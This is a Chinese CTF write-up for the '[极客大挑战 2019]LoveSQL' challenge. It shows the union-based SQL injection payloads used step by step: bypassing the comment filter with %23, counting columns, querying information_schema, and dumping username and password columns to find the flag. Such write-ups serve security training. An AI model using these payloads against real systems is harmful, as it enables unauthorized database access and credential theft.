zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]LoveSQL 1


    账号填admin,密码填'
    根据提示确定是经典的单引号闭合。
    我先试了试1' or 1=1--+

    看样子应该是过滤了--+的注释方式。

    我再试试用#注释
    也出现了一样的情况
    看样子#也被过滤了。

    用#的url编码形式%23试试?

    成功啦,且返回了一个密码,看样子为md5加密后的密码,试了一下无法破解,但是至少发现了%23可以用来注释后面的单引号,这样一来就可以展开注入。

    先利用order by查看表输出列数
    &password=1'order by 1%23
    &password=1'order by 2%23
    &password=1'order by 3%23
    都会有返回界面。
    直到&password=1'order by 4%23出现提示Unknown column '4' in 'order clause'。得到表输出列数为3。

    构造&password=1'union select 1,2,3%23

    发现会返回第2,3个字段。

    构造&password=1'union select 1,user(),version()%23

    得知我是root用户,可以利用information_schema库(不知道这样讲对不对哈)

    &password=1'union select 1,2,database()%23

    得知当前库名为geek

    &password=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
    查询目前库里的表名,目前看来该网站的查询并没有循环查询所以一次只能找到一行,为了没有遗漏利用group_concat()。

    得到两个表名geekuser,l0ve1ysq1

    &password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23
    查询第一个geekuser表内的列名。得到id,username,password
    &password=1'union select 1,group_concat(username),group_concat(password) from geekuser%23
    查询username和password列

    看样子还是那个md5密码,并不是有用的信息,把目光转移到另一个l0ve1ysq1表

    &password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23
    得到的列名也是id,username,password
    &password=1'union select 1,group_concat(username),group_concat(password) from l0ve1ysq1%23

    得到了许多账号和密码,其中最后一个账号的密码为flag!

  • 相关阅读:
    JS ajax请求参数格式( formData 、serialize)
    自己封装一个弹窗JS
    JAVA工程师面试题库
    正则表达式各种判断情况
    用angular中的angular-messages(ngMessage)实现表单验证时输入框外提示信息的显示与隐藏(直接把代码粘贴到新建的html文件中即可实现)
    rxjs 的用法
    浏览器兼容
    下面的路径可以作为以后练习前端调用的api 没有跨域访问的限制
    ES6 import 的几种写法
    git 比较两个分支
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/13911718.html
Copyright © 2011-2022 走看看